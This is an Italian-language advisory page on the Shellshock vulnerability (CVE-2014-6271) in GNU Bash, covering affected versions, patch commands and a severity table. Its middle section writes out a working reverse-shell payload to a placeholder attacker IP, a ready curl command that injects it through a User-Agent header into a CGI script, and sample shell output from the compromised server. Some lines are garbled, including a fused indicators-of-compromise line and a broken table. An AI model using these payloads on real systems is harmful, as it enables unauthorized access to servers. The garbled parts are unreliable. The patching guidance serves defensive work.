
CVE-2014-6271

Zero-Day di 25 anni di Esecuzione Remota di Codice in GNU Bash tramite Variabili d'Ambiente
CVE-2014-6271, soprannominato Shellshock (noto anche come Bashdoor), è una vulnerabilità critica di esecuzione remota di codice (RCE) nella shell GNU Bash.
Un attaccante può inviare variabili d'ambiente appositamente create (tramite intestazioni HTTP, DHCP, SSH, ecc.) e ottenere accesso remoto alla shell del server sottostante — spesso senza autenticazione e con minima interazione dell'utente.
L'attaccante inietta una variabile appositamente creata (es. nell'intestazione User-Agent):
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Bash interpreta erroneamente il payload come definizione di funzione + comandi finali. Il codice dopo (); viene eseguito immediatamente quando la variabile viene importata.
Il comando viene eseguito con i privilegi del server web / processo (spesso root o www-data).
Risultato:
# Accesso remoto alla shell ottenuto
whoami
www-data
✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test
Vedrai anche la reverse shell connettersi immediatamente.
env x='() { :;}; echo vulnerable' bash -c "echo test"
Restituirà immediatamente:
vulnerable
test
(Questo conferma che Bash ha eseguito il comando iniettato.)
Esegui questo curl contro uno script CGI Apache vulnerabile:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh
Vedrai questo esatto output nel tuo listener netcat:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
Questo output appare direttamente nella tua reverse shell. Nessun errore, nessun 404.
Questo significa che hai piena esecuzione remota di codice sul server — l'iniezione di variabili d'ambiente ha funzionato perfettamente.
Tutte le versioni di GNU Bash:
1.14 fino a 4.3 (prima del patch level 30)
(inclusi Linux, macOS, BSD, dispositivi embedded)
Aggiorna immediatamente a:
Bash 4.3 patch level 30 o successivo (4.4+ raccomandato)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {Cerca:
() {Indicatori di compromissione possono includere:
() { :;};/bin/bash -iIntestazione/DHCP/SSH malevolo → Bash importa la variabile d'ambiente
↓
Definizione di funzione + comandi finali eseguiti
↓
Comando arbitrario / reverse shell
Questo problema ha portato a molteplici CVE successive (correzioni incomplete):
| Area di Rischio | Impatto |
|---|---|
| Riservatezza | 🔴 Alto |
| Integrità | 🔴 Alto |
| Disponibilità | 🔴 Alto |
Se gestisci un server Linux/macOS/BSD nel 2026: 🔥 Correggi Bash immediatamente (anche su sistemi air-gapped). 💡 Considera compromesso se Bash non corretto esposto a internet. 🛡 Esegui una revisione completa dei log e controlli di integrità.
| Campo | Valore |
|---|
| CVE ID | CVE-2014-6271 |
| Gravità | 🔴 Critico |
| CVSS | 10.0 (Massimo) |
| Vettore d'Attacco | Remoto (HTTP, DHCP, SSH, ecc.) |
| Autenticazione Richiesta | ❌ Nessuna (in molti vettori) |
| Interazione Utente | ❌ Nessuna (nei casi CGI/DHCP) |
| Impatto | Compromissione Completa del Server |